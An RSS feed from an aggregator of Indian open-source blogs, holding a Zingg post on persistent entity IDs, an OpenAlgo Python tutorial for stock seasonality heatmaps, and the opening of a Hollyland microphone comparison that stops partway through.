<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Planet Forklore - Aggregated Blog Posts</title>
        <link>https://forklore.in/planet</link>
        <description>Aggregated blog posts from India's open source maintainers</description>
        <lastBuildDate>Mon, 13 Apr 2026 08:25:54 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <copyright>All rights reserved 2026, Forklore</copyright>
        <atom:link href="https://forklore.in/planet/rss.xml" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[More persistence for Zingg IDs!]]></title>
            <link>https://www.learningfromdata.zingg.ai/p/more-persistence-for-zingg-ids</link>
            <guid isPermaLink="false">https://www.learningfromdata.zingg.ai/p/more-persistence-for-zingg-ids</guid>
            <pubDate>Sun, 05 Apr 2026 16:23:22 GMT</pubDate>
            <description><![CDATA[Introducing Reassign - taking the identity graph one step further.]]></description>
            <content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!2HD-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d79b6d5-0c0b-43c7-8e66-53eba3e9638b_838x1048.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!2HD-!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d79b6d5-0c0b-43c7-8e66-53eba3e9638b_838x1048.png 424w, https://substackcdn.com/image/fetch/$s_!2HD-!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d79b6d5-0c0b-43c7-8e66-53eba3e9638b_838x1048.png 848w, https://substackcdn.com/image/fetch/$s_!2HD-!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d79b6d5-0c0b-43c7-8e66-53eba3e9638b_838x1048.png 1272w, https://substackcdn.com/image/fetch/$s_!2HD-!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d79b6d5-0c0b-43c7-8e66-53eba3e9638b_838x1048.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!2HD-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d79b6d5-0c0b-43c7-8e66-53eba3e9638b_838x1048.png" width="838" height="1048" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3d79b6d5-0c0b-43c7-8e66-53eba3e9638b_838x1048.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1048,&quot;width&quot;:838,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1679572,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.learningfromdata.zingg.ai/i/193263282?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d79b6d5-0c0b-43c7-8e66-53eba3e9638b_838x1048.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!2HD-!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d79b6d5-0c0b-43c7-8e66-53eba3e9638b_838x1048.png 424w, https://substackcdn.com/image/fetch/$s_!2HD-!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d79b6d5-0c0b-43c7-8e66-53eba3e9638b_838x1048.png 848w, https://substackcdn.com/image/fetch/$s_!2HD-!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d79b6d5-0c0b-43c7-8e66-53eba3e9638b_838x1048.png 1272w, https://substackcdn.com/image/fetch/$s_!2HD-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d79b6d5-0c0b-43c7-8e66-53eba3e9638b_838x1048.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>In my last few posts, I wrote about the <a href="https://www.learningfromdata.zingg.ai/p/hello-zingg-id">persistent ZINGG_ID</a> and <a href="https://www.learningfromdata.zingg.ai/p/zingg-incremental-flow">incremental flows</a>. Quick recap for those who missed them. As data keeps changing in a growing business - new customers, updated addresses, records arriving from new channels - the identity graph has to keep up. The <a href="https://www.zingg.ai/product/features/incremental-flow">incremental flow in Zingg Enterprise</a> handles exactly this. New and updated records get matched against existing clusters, clusters merge and split automatically, and the ZINGG_ID travels with the entity through all of it. The identity graph stays consistent even as the data underneath it keeps moving.</p><p>That was a big piece of work to build and ship. But as we rolled it out to more customers, we started hearing about a different scenario. One we had not fully planned for.</p><p>Some of our customers had been running Zingg for a while. Their identity graphs were in good shape. Incremental flows were humming. And then, their data got better.</p><p>Phone numbers that were unreliable at the start of the project - maybe coming from a poorly integrated source system, or just sparsely captured - were now being collected consistently. Email fields that were mostly empty were now populated. A new column from a recently onboarded data source was throwing up a great matching signal. The data engineering team had done some serious cleanup work on one of the source systems.</p><p>In other words, the matching could now be sharper than it was when the graph was first built.</p><p>And yet, teams were not acting on it. We started hearing the same thing again and again. Customers who loved their ZINGG_IDs - and were relying on them deeply - were finding that the very thing they valued was also holding them back. One customer had significant architecture changes and needed to run a full refresh, but was worried about losing their ZINGG_IDs. Others wanted to add a new matching signal but held off. Some wanted to move to a different data platform entirely, but the ZINGG_ID dependency made the migration feel too risky.</p><p>The Zingg identifier had become load-bearing infrastructure. Which we loved to see - it meant the graph was genuinely embedded in how the business operated. But it also meant that any change to the graph felt dangerous. Customers were not able to move from one model to another, capture more signals, or even change their data platform because of Zingg. That was not the position we wanted our customers to be in.</p><p>So, what do you do when you want a full refresh - run matching again on the full dataset, this time with the richer fields, the better signal, the cleaner data? But your downstream systems are wired to the existing ZINGG_IDs. </p><p>Reporting tables, Customer 360 dashboards, ML feature stores, operational workflows at the call centre - all of them reference the ZINGG_IDs from the previous run. If you blow away the graph and rebuild it, you get better clusters but you lose the identifier continuity. Every downstream system breaks or needs a migration. That is a huge cost, and it tends to make teams postpone the refresh indefinitely. The identity graph gets frozen at the quality level it was when it was first built, because improving it feels too disruptive.</p><p>This is the gap that <a href="https://docs.zingg.ai/latest/stepbystep/reassignzinggid">Reassign</a> closes.</p><p>After you run a full refresh with your updated fields and retrained model, reassign maps the new cluster assignments back to the existing ZINGG_IDs. It carries the established identifiers forward wherever the entity continuity holds. Downstream systems keep their reference point. The identity graph gets the benefit of the improved matching signal. The refresh is no longer a disruptive operation.</p><p>Here is the even more interesting bit - what taking the persistent ZINGG_ID one step further really means. Persistence, as we built it earlier, means the identifier travels with the entity through routine changes - new records, updated records, incremental loads. <strong>Reassign extends that guarantee to cover a deliberate, intentional rebuild of the graph itself.</strong> The identifier now <em>survives</em> not just the churn of normal operations, but also the data team&#8217;s decision to go back and do it better.</p><p>We think of this as data maturity support built into the identity graph. Because in practice, the signals get better over time. Source systems get cleaned up. New integrations bring in new attributes. The identity graph should be able to evolve with that maturity - not fight against it.</p><p>If you have a full refresh sitting in your backlog because the downstream impact felt too risky, we would love to hear from you. Hit reply and tell us what triggered it - what improved signal are you sitting on that you have not yet been able to incorporate?</p>]]></content:encoded>
            <author>Sonal Goyal</author>
            <enclosure url="https://substackcdn.com/image/fetch/$s_!2HD-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d79b6d5-0c0b-43c7-8e66-53eba3e9638b_838x1048.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Understanding Stock Market Seasonality: A Python Guide Using OpenAlgo]]></title>
            <link>https://openalgo.medium.com/understanding-stock-market-seasonality-a-python-guide-using-openalgo-cc63a7fa0f40?source=rss-cda86e929c3------2</link>
            <guid isPermaLink="false">https://openalgo.medium.com/understanding-stock-market-seasonality-a-python-guide-using-openalgo-cc63a7fa0f40?source=rss-cda86e929c3------2</guid>
            <pubDate>Sat, 04 Apr 2026 08:02:40 GMT</pubDate>
            <content:encoded><![CDATA[<p><strong>Seasonality is one of the most underrated edges in the market.</strong> While most traders obsess over indicators, chart patterns, and earnings reports, few take the time to study the calendar. Yet history shows that certain months consistently favor bulls or bears — and this pattern repeats across indices, sectors, and individual stocks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nI1mtotOmeMfdruTnvtYbA.png" /></figure><p>In this tutorial, we’ll explore what seasonality is, why it matters, and how to build a TradingView-style seasonality heatmap in Python using the OpenAlgo SDK and Plotly.</p><h3>What is Seasonality?</h3><p>Seasonality refers to the tendency of financial markets to exhibit recurring patterns at specific times of the year. These patterns emerge from a mix of structural, behavioral, and institutional factors that repeat on a calendar cycle.</p><p>For example, you may have heard of the classic Wall Street adage:</p><blockquote><em>“Sell in May and go away.”</em></blockquote><p>This isn’t just folklore. Data across decades and geographies shows that the May–October period tends to underperform the November–April period. Seasonality captures exactly these kinds of tendencies — not as guarantees, but as statistical tilts that can inform better decision-making.</p><h3>Why Does Seasonality Matter?</h3><h3>1. It Reveals Hidden Probabilities</h3><p>When you look at a stock’s monthly return heatmap over 10+ years, you start to see structure where there appeared to be randomness. A month that has been positive 80% of the time across a decade isn’t a coincidence — it’s a signal worth paying attention to.</p><h3>2. It Improves Trade Timing</h3><p>Imagine you have a bullish thesis on a stock. Seasonality data can help you decide <em>when</em> to enter. If the stock historically rallies in October and dips in September, you might time your entry at the September dip rather than chasing the October move.</p><h3>3. It Adds a Layer of Confluence</h3><p>No single tool should drive your trading decisions. But when your technical setup, fundamental thesis, and seasonal tendency all align — that’s confluence. Seasonality acts as a confirmation layer that increases conviction.</p><h3>4. It Helps with Risk Management</h3><p>Months with historically high standard deviation warn you to expect volatility. Months with low positive percentages signal caution. This information helps you size positions appropriately and set realistic expectations.</p><h3>5. It Works Across Asset Classes</h3><p>Seasonality isn’t limited to equities. Commodities (like crude oil and gold), currencies, and even crypto markets exhibit seasonal patterns driven by harvest cycles, fiscal year-end flows, holiday spending, and institutional rebalancing.</p><h3>Key Metrics in Seasonal Analysis</h3><p>A proper seasonality study goes beyond just looking at average returns. Here are the three metrics that matter:</p><p><strong>Average Return (Avgs):</strong> The mean monthly return across all years. This tells you the directional bias — whether a month tends to be positive or negative on average.</p><p><strong>Standard Deviation (StDev):</strong> The dispersion of returns around the average. A high StDev means the month is volatile and unpredictable, even if the average looks attractive. A low StDev with a positive average is the sweet spot.</p><p><strong>Percent Positive (Pos%):</strong> The percentage of years in which the month delivered a positive return. This is arguably the most actionable metric. An average of +5% means little if the month was positive only 40% of the time — it could be skewed by one outlier year. But a Pos% of 80%+ with even a modest average suggests a reliable seasonal tendency.</p><h3>Building a Seasonality Heatmap in Python</h3><p>Let’s build a seasonality heatmap that mirrors TradingView’s built-in Seasonality indicator — complete with the same dark theme, color-coded cells, and summary statistics.</p><h3>Prerequisites</h3><p>Install the required packages:</p><pre>pip install openalgo plotly pandas numpy</pre><p>Make sure your OpenAlgo application is running locally at http://127.0.0.1:5000 and you have a valid API key.</p><h3>The Complete Code</h3><pre>import pandas as pd<br>import numpy as np<br>import plotly.graph_objects as go<br>from openalgo import api<br><br># ─── Configuration ───────────────────────────────────────────────<br>API_KEY = &quot;your_api_key_here&quot;<br>HOST = &quot;http://127.0.0.1:5000&quot;<br>SYMBOL = &quot;ICICIBANK&quot;<br>EXCHANGE = &quot;NSE&quot;<br>START_YEAR = 2015<br>COLOR_CUTOFF = 10  # max intensity cutoff (%)<br># TradingView color theme<br>POS_COLOR = (8, 153, 129)    # #089981<br>NEG_COLOR = (242, 55, 69)    # #F23745<br>BG_COLOR = &quot;#1e222d&quot;<br>HEADER_BG = &quot;rgba(128,128,128,0.2)&quot;<br>TEXT_COLOR = &quot;#d1d4dc&quot;<br>LINE_COLOR = &quot;rgba(128,128,128,0.3)&quot;<br>MONTH_NAMES = [&quot;Jan&quot;, &quot;Feb&quot;, &quot;Mar&quot;, &quot;Apr&quot;, &quot;May&quot;, &quot;Jun&quot;,<br>               &quot;Jul&quot;, &quot;Aug&quot;, &quot;Sep&quot;, &quot;Oct&quot;, &quot;Nov&quot;, &quot;Dec&quot;]<br><br>def calc_cell_color(value, cutoff=COLOR_CUTOFF):<br>    &quot;&quot;&quot;Calculate cell background color matching TradingView&#39;s gradient logic.&quot;&quot;&quot;<br>    if pd.isna(value):<br>        return &quot;rgba(128,128,128,0.3)&quot;<br>    base = POS_COLOR if value &gt;= 0 else NEG_COLOR<br>    intensity = min(abs(value) / cutoff, 1.0)<br>    opacity = 0.10 + intensity * 0.40<br>    return f&quot;rgba({base[0]},{base[1]},{base[2]},{opacity})&quot;<br><br>def calc_pos_pct_color(value, cutoff=50):<br>    &quot;&quot;&quot;Color for Pos% row: treat (value - 50) as the signed value.&quot;&quot;&quot;<br>    if pd.isna(value):<br>        return &quot;rgba(128,128,128,0.3)&quot;<br>    shifted = value - 50<br>    base = POS_COLOR if shifted &gt;= 0 else NEG_COLOR<br>    intensity = min(abs(shifted) / cutoff, 1.0)<br>    opacity = 0.10 + intensity * 0.40<br>    return f&quot;rgba({base[0]},{base[1]},{base[2]},{opacity})&quot;<br><br>def fetch_monthly_data(client, symbol, exchange, start_year):<br>    &quot;&quot;&quot;Fetch daily data and resample to monthly close prices.&quot;&quot;&quot;<br>    start_date = f&quot;{start_year - 1}-12-01&quot;<br>    end_date = pd.Timestamp.now().strftime(&quot;%Y-%m-%d&quot;)<br>    df = client.history(<br>        symbol=symbol, exchange=exchange,<br>        interval=&quot;D&quot;, start_date=start_date, end_date=end_date<br>    )<br>    if df is None or df.empty:<br>        raise ValueError(&quot;No data returned from API.&quot;)<br>    # Resample to monthly - use last close of each month<br>    monthly = df[&quot;close&quot;].resample(&quot;ME&quot;).last().dropna()<br>    # Drop the current incomplete month<br>    today = pd.Timestamp.now(tz=monthly.index.tz)<br>    last_complete = (today.replace(day=1) - pd.Timedelta(days=1)).normalize()<br>    monthly = monthly[monthly.index &lt;= last_complete]<br>    return monthly<br><br>def build_seasonality_matrix(monthly_close, start_year):<br>    &quot;&quot;&quot;Build year x month matrix of monthly % returns.&quot;&quot;&quot;<br>    returns = monthly_close.pct_change() * 100<br>    years = sorted(y for y in set(returns.index.year) if y &gt;= start_year)<br>    matrix = pd.DataFrame(index=years, columns=range(1, 13), dtype=float)<br>    for dt, ret in returns.items():<br>        if dt.year &gt;= start_year:<br>            matrix.loc[dt.year, dt.month] = ret<br>    return matrix<br><br>def build_heatmap_figure(matrix, symbol, exchange):<br>    &quot;&quot;&quot;Build Plotly figure matching the TradingView seasonality heatmap.&quot;&quot;&quot;<br>    years = list(matrix.index)<br>    n_years = len(years)<br>    avgs = [matrix[m].mean() for m in range(1, 13)]<br>    stdevs = [matrix[m].std(ddof=1) for m in range(1, 13)]<br>    pos_pcts = []<br>    for m in range(1, 13):<br>        col = matrix[m].dropna()<br>        pos_pcts.append(<br>            (col &gt;= 0).sum() / len(col) * 100 if len(col) &gt; 0 else float(&quot;nan&quot;)<br>        )<br>    header = [&quot;Year&quot;] + MONTH_NAMES<br>    n_rows = n_years + 4<br>    cell_values = [[] for _ in range(13)]<br>    cell_colors = [[] for _ in range(13)]<br>    # Year rows<br>    for year in years:<br>        cell_values[0].append(str(year))<br>        cell_colors[0].append(HEADER_BG)<br>        for m in range(1, 13):<br>            val = matrix.loc[year, m]<br>            if pd.isna(val):<br>                cell_values[m].append(&quot;NaN%&quot;)<br>                cell_colors[m].append(&quot;rgba(128,128,128,0.3)&quot;)<br>            else:<br>                cell_values[m].append(f&quot;{val:.2f}%&quot;)<br>                cell_colors[m].append(calc_cell_color(val))<br>    # Divider<br>    for c in range(13):<br>        cell_values[c].append(&quot;&quot;)<br>        cell_colors[c].append(HEADER_BG)<br>    # Avgs<br>    cell_values[0].append(&quot;Avgs:&quot;)<br>    cell_colors[0].append(HEADER_BG)<br>    for m in range(1, 13):<br>        cell_values[m].append(f&quot;{avgs[m-1]:.2f}%&quot;)<br>        cell_colors[m].append(calc_cell_color(avgs[m-1]))<br>    # StDev<br>    cell_values[0].append(&quot;StDev:&quot;)<br>    cell_colors[0].append(HEADER_BG)<br>    for m in range(1, 13):<br>        cell_values[m].append(f&quot;{stdevs[m-1]:.2f}&quot;)<br>        cell_colors[m].append(&quot;rgba(128,128,128,0.2)&quot;)<br>    # Pos%<br>    cell_values[0].append(&quot;Pos%:&quot;)<br>    cell_colors[0].append(HEADER_BG)<br>    for m in range(1, 13):<br>        cell_values[m].append(f&quot;{pos_pcts[m-1]:.0f}%&quot;)<br>        cell_colors[m].append(calc_pos_pct_color(pos_pcts[m-1]))<br>    fig = go.Figure(data=[go.Table(<br>        columnwidth=[80] + [100] * 12,<br>        header=dict(<br>            values=header,<br>            fill_color=HEADER_BG,<br>            font=dict(color=TEXT_COLOR, size=15,<br>                      family=&quot;Trebuchet MS, sans-serif&quot;),<br>            align=&quot;center&quot;,<br>            line=dict(color=LINE_COLOR, width=1),<br>            height=40,<br>        ),<br>        cells=dict(<br>            values=cell_values,<br>            fill_color=cell_colors,<br>            font=dict(color=TEXT_COLOR, size=14,<br>                      family=&quot;Trebuchet MS, sans-serif&quot;),<br>            align=&quot;center&quot;,<br>            line=dict(color=LINE_COLOR, width=1),<br>            height=36,<br>        ),<br>    )])<br>    fig.update_layout(<br>        title=dict(<br>            text=f&quot;Seasonality - {symbol} ({exchange}) Monthly Returns&quot;,<br>            font=dict(color=TEXT_COLOR, size=16,<br>                      family=&quot;Trebuchet MS, sans-serif&quot;),<br>            x=0.5,<br>        ),<br>        paper_bgcolor=BG_COLOR,<br>        margin=dict(l=10, r=10, t=50, b=10),<br>        height=max(400, 40 + n_rows * 36 + 60),<br>    )<br>    return fig<br><br>def main():<br>    client = api(api_key=API_KEY, host=HOST)<br>    print(f&quot;Fetching daily data for {SYMBOL} on {EXCHANGE}...&quot;)<br>    monthly_close = fetch_monthly_data(client, SYMBOL, EXCHANGE, START_YEAR)<br>    print(f&quot;Got {len(monthly_close)} monthly data points&quot;)<br>    matrix = build_seasonality_matrix(monthly_close, START_YEAR)<br>    print(f&quot;Seasonality matrix: {matrix.shape[0]} years x {matrix.shape[1]} months&quot;)<br>    fig = build_heatmap_figure(matrix, SYMBOL, EXCHANGE)<br>    fig.show()<br>    print(&quot;Seasonality chart opened in browser.&quot;)<br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><h3>How It Works</h3><p>Let’s walk through the key parts of the code:</p><p><strong>Step 1 — Fetch and Resample Data</strong></p><p>We use the OpenAlgo SDK’s client.history() method to pull daily closing prices. Since the API doesn&#39;t provide monthly candles directly, we resample the daily data to monthly frequency using pandas:</p><pre>monthly = df[&quot;close&quot;].resample(&quot;ME&quot;).last().dropna()</pre><p>This gives us the last closing price of each completed month — exactly what TradingView uses for its monthly candles.</p><p><strong>Step 2 — Calculate Monthly Returns</strong></p><p>The monthly return is calculated as the percentage change from the previous month’s close to the current month’s close:</p><pre>returns = monthly_close.pct_change() * 100</pre><p>For example, if January’s close was 1000 and February’s close was 1050, the February return is +5.00%.</p><p><strong>Step 3 — Build the Matrix</strong></p><p>We organize the returns into a year-by-month matrix (rows = years, columns = Jan through Dec). This is the core data structure behind the heatmap.</p><p><strong>Step 4 — Compute Summary Statistics</strong></p><p>For each month column, we compute:</p><ul><li><strong>Average:</strong> matrix[m].mean() — the mean return across all years</li><li><strong>Standard Deviation:</strong> matrix[m].std(ddof=1) — sample standard deviation (matching TradingView&#39;s calculation)</li><li><strong>Percent Positive:</strong> the fraction of non-NaN values that are &gt;= 0</li></ul><p><strong>Step 5 — Color the Cells</strong></p><p>The color logic mirrors TradingView’s approach. Each cell gets a green or red background with intensity proportional to the absolute return value, capped at a cutoff (default 10%):</p><pre>base = POS_COLOR if value &gt;= 0 else NEG_COLOR<br>intensity = min(abs(value) / cutoff, 1.0)<br>opacity = 0.10 + intensity * 0.40</pre><p>Small moves appear as faint shading; large moves appear as deep, saturated color. This makes it easy to visually scan for extreme months.</p><h3>Reading the Heatmap</h3><p>Once you run the script, you’ll see a heatmap like this in your browser:</p><ul><li><strong>Green cells</strong> indicate months where the stock gained value</li><li><strong>Red cells</strong> indicate months where the stock lost value</li><li><strong>Deeper colors</strong> mean larger moves; <strong>lighter colors</strong> mean smaller moves</li><li><strong>NaN%</strong> appears for months that haven’t completed yet (e.g., the current month)</li></ul><h3>What to Look For</h3><p><strong>Consistent columns of green:</strong> If October has been green for 9 out of 11 years (82% Pos%), that’s a strong seasonal bullish tendency. Consider timing long entries around late September.</p><p><strong>Consistent columns of red:</strong> If September shows only 18% positive years, it’s historically the worst month. This might not be the best time to initiate new long positions.</p><p><strong>High StDev months:</strong> Even if the average is positive, a high standard deviation means outcomes are unpredictable. Use these months for smaller position sizes.</p><p><strong>Low StDev + High Pos%:</strong> This is the gold standard — a month that is consistently positive with low volatility. These months offer the most reliable seasonal edges.</p><h3>Practical Applications</h3><h3>For Swing Traders</h3><p>Use the Pos% row to identify the highest-probability months for your stock. Plan your entries and exits around these seasonal windows. If a stock has 100% positive Aprils over a decade, that’s a month where the odds are heavily in your favor.</p><h3>For Portfolio Managers</h3><p>Seasonality can guide asset allocation decisions. Rotate into sectors that historically outperform in the coming months. For instance, banking stocks in India often see strength in October (festive season lending) and weakness in September (quarter-end provisioning).</p><h3>For Options Traders</h3><p>StDev data directly informs volatility expectations. Months with historically high StDev suggest buying options (expecting large moves), while low StDev months favor selling options (expecting range-bound action).</p><h3>For Algo Traders</h3><p>Incorporate seasonal filters into your strategies. A simple rule like “only take long signals during months with Pos% &gt; 60%” can meaningfully improve a strategy’s win rate without adding complexity.</p><h3>Limitations to Keep in Mind</h3><p>Seasonality is a statistical tendency, not a prediction. Here are the caveats:</p><ol><li><strong>Past patterns don’t guarantee future results.</strong> Black swan events, policy changes, and structural market shifts can override seasonal tendencies.</li><li><strong>Sample size matters.</strong> A 10-year history gives you only 10 data points per month. That’s enough to spot strong tendencies but not enough for high statistical confidence. Be cautious with patterns based on fewer than 8–10 years of data.</li><li><strong>Outliers can skew averages.</strong> A single month with a -35% return (like March 2020) can drag down the entire column average. Always look at Pos% alongside the average to catch this.</li><li><strong>Seasonality works best as a filter, not a signal.</strong> Use it to time entries and exits within a broader strategy — not as the sole reason to trade.</li></ol><h3>Conclusion</h3><p>Seasonality is a powerful analytical lens that most retail traders overlook. By studying how a stock behaves across different months, you gain an informational edge that complements technical and fundamental analysis.</p><p>With the OpenAlgo SDK and a few lines of Python, you can build a professional-grade seasonality heatmap that rivals TradingView’s built-in indicator — giving you the flexibility to analyze any stock, any exchange, and any time range you choose.</p><p>The code is available in the OpenAlgo examples directory. Modify the SYMBOL, EXCHANGE, and START_YEAR variables to analyze any instrument in your universe.</p><p><em>Built with </em><a href="https://docs.openalgo.in/"><em>OpenAlgo</em></a><em> — the open-source algorithmic trading platform for Indian markets.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cc63a7fa0f40" width="1" height="1" alt="">]]></content:encoded>
            <author>Rajandran R (Creator - OpenAlgo)</author>
            <category>plotly</category>
            <category>openalgo</category>
            <category>investing</category>
            <category>python</category>
            <category>seasonality</category>
        </item>
        <item>
            <title><![CDATA[Hollyland Lark A1 vs. Lark M2: The Ultimate Compact Mic Comparison]]></title>
            <link>https://ibcomputing.com/hollyland-lark-a1-vs-lark-m2-the-ultimate-compact-mic-comparison/</link>
            <guid isPermaLink="false">https://ibcomputing.com/hollyland-lark-a1-vs-lark-m2-the-ultimate-compact-mic-comparison/</guid>
            <pubDate>Tue, 31 Mar 2026 07:48:47 GMT</pubDate>
            <description><![CDATA[Choosing the right wireless microphone for mobile content creation can be a challenge, especially with Hollyland offering two incredibly compact and capable options: the Lark … 
The post Hollyland Lark A1 vs. Lark M2: The Ultimate Compact Mic Comparison appeared first on IB Computing.]]></description>
            <content:encoded><![CDATA[<div class="paragraph is-rich-chat-ui normal ng-star-inserted" data-start-index="66"><span class="ng-star-inserted" data-start-index="66">Choosing the right wireless microphone for mobile content creation can be a challenge, especially with Hollyland offering two incredibly compact and capable options: the </span><a href="https://amzn.to/4aPIs3g" data-wpel-link="external" target="_blank" rel="follow external noopener"><b class="ng-star-inserted" data-start-index="236">Lark A1</b></a><span class="ng-star-inserted" data-start-index="243"> and the </span><a href="https://amzn.to/4tMlyCi" data-wpel-link="external" target="_blank" rel="follow external noopener"><b class="ng-star-inserted" data-start-index="252">Lark M2</b></a><span class="ng-star-inserted" data-start-index="259">. While the Lark M2 has been a reliable favourite for over a year, the newly launched Lark A1 brings a pill-shaped, ultra-affordable alternative to the table</span><span class="ng-star-inserted" data-start-index="416">.</span></div>
<div class="paragraph is-rich-chat-ui normal ng-star-inserted" data-start-index="417"><span class="ng-star-inserted" data-start-index="417">Here is a deep dive into how these two systems compare and which one belongs in your gear bag. lets compare Hollyland Lark A1 vs M2.</span></div>
<h3 data-start-index="417"><b class="ng-star-inserted" data-start-index="511"><a href="https://amzn.to/4aPIs3g" data-wpel-link="external" target="_blank" rel="follow external noopener">The Lark A1</a>: The New King of Portability</b></h3>
<div class="paragraph is-rich-chat-ui normal ng-star-inserted" data-start-index="551"><span class="ng-star-inserted" data-start-index="551">The Lark A1 is specifically designed for mobile creators who need a &#8220;set it and forget it&#8221; solution</span><span class="ng-star-inserted" data-start-index="650">. It is roughly </span><b class="ng-star-inserted" data-start-index="666">Half the price of the<a href="https://amzn.to/4tMlyCi" data-wpel-link="external" target="_blank" rel="follow external noopener"> Lark M2</a></b><span class="ng-star-inserted" data-start-index="697">, making it an ideal choice for those just starting their journey</span><span class="ng-star-inserted" data-start-index="762">.</span></div>
<div class="paragraph is-rich-chat-ui normal ng-star-inserted" data-start-index="763"><b class="ng-star-inserted" data-start-index="763">Pros:</b></div>
<ul class="ng-star-inserted">
<li class="paragraph list-item is-rich-chat-ui normal ng-star-inserted" data-start-index="768"><b class="ng-star-inserted" data-start-index="768">Ultra-Lightweight:</b><span class="ng-star-inserted" data-start-index="786"> Each transmitter weighs only </span><b class="ng-star-inserted" data-start-index="816">8g</b><span class="ng-star-inserted" data-start-index="818">, making it virtually unnoticeable when clipped to a shirt</span><span class="ng-star-inserted" data-start-index="876">.</span></li>
<li class="paragraph list-item is-rich-chat-ui normal ng-star-inserted" data-start-index="877"><b class="ng-star-inserted" data-start-index="877">Feature-Rich App:</b><span class="ng-star-inserted" data-start-index="894"> Includes three </span><b class="ng-star-inserted" data-start-index="910">Equalizer modes</b><span class="ng-star-inserted" data-start-index="925"> (Balanced, Low, Bright), three </span><b class="ng-star-inserted" data-start-index="957">Reverb settings</b><span class="ng-star-inserted" data-start-index="972">, and an </span><b class="ng-star-inserted" data-start-index="981">auto-power-off</b><span class="ng-star-inserted" data-start-index="995"> function after 15 minutes to save battery</span><span class="ng-star-inserted" data-start-index="1037">.</span></li>
<li class="paragraph list-item is-rich-chat-ui normal ng-star-inserted" data-start-index="1038"><b class="ng-star-inserted" data-start-index="1038">Price Point:</b><span class="ng-star-inserted" data-start-index="1050"> Significantly more affordable than the M2, often starting at a much lower price point for creators on a budget</span><span class="ng-star-inserted" data-start-index="1161">.</span></li>
